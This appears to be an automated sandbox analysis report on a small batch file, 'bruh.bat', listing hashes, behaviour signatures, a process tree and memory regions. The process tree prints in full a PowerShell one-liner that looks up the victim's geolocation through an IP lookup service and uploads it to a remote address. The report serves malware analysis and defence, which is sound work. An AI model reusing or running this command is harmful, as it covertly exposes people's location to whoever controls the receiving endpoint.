Analysis

  • max time kernel
    538s
  • max time network
    1265s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    11/09/2024, 11:50

General

  • Target

    bruh.bat

  • Size

    508B

  • MD5

    a84380515a66aa2fbbba3caf497010ab

  • SHA1

    07e6dfc95ec2c094a36e0890437212a176200941

  • SHA256

    41660459fcd51eea6e269bc684eda78e5fd975b7c1ad32f21e07cece6d1dcb64

  • SHA512

    863c2f037e48e72f618c47d4f03330c76a5867593ccfa24a5abaa4cd6bfae161753b21359737f7ec1e960f499d3545e9471f1dcfd5505d123d64cb89e79f9862

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\bruh.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "& { $client = new-object System.Net.WebClient; $location = (Invoke-RestMethod -Uri 'https://ipapi.co/json/'); $message = 'Current location: ' + $location.city + ', ' + $location.region + ', ' + $location.country + ' (' + $location.latitude + ', ' + $location.longitude + ')'; $client.UploadString('', '[$message]($location.url)'); }"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3144

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xdszrfk2.ycl.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3144-0-0x00007FFCFC0B0000-0x00007FFCFC1C1000-memory.dmp

    Filesize

    1.1MB

  • memory/3144-1-0x00007FFCFC0B0000-0x00007FFCFC1C1000-memory.dmp

    Filesize

    1.1MB

  • memory/3144-11-0x00007FFCFC0B0000-0x00007FFCFC1C1000-memory.dmp

    Filesize

    1.1MB

  • memory/3144-7-0x000001D0A7530000-0x000001D0A7552000-memory.dmp

    Filesize

    136KB

  • memory/3144-12-0x000001D0A7C10000-0x000001D0A7DD2000-memory.dmp

    Filesize

    1.8MB

  • memory/3144-13-0x000001D0A8310000-0x000001D0A8838000-memory.dmp

    Filesize

    5.2MB

  • memory/3144-16-0x00007FFCFC0B0000-0x00007FFCFC1C1000-memory.dmp

    Filesize

    1.1MB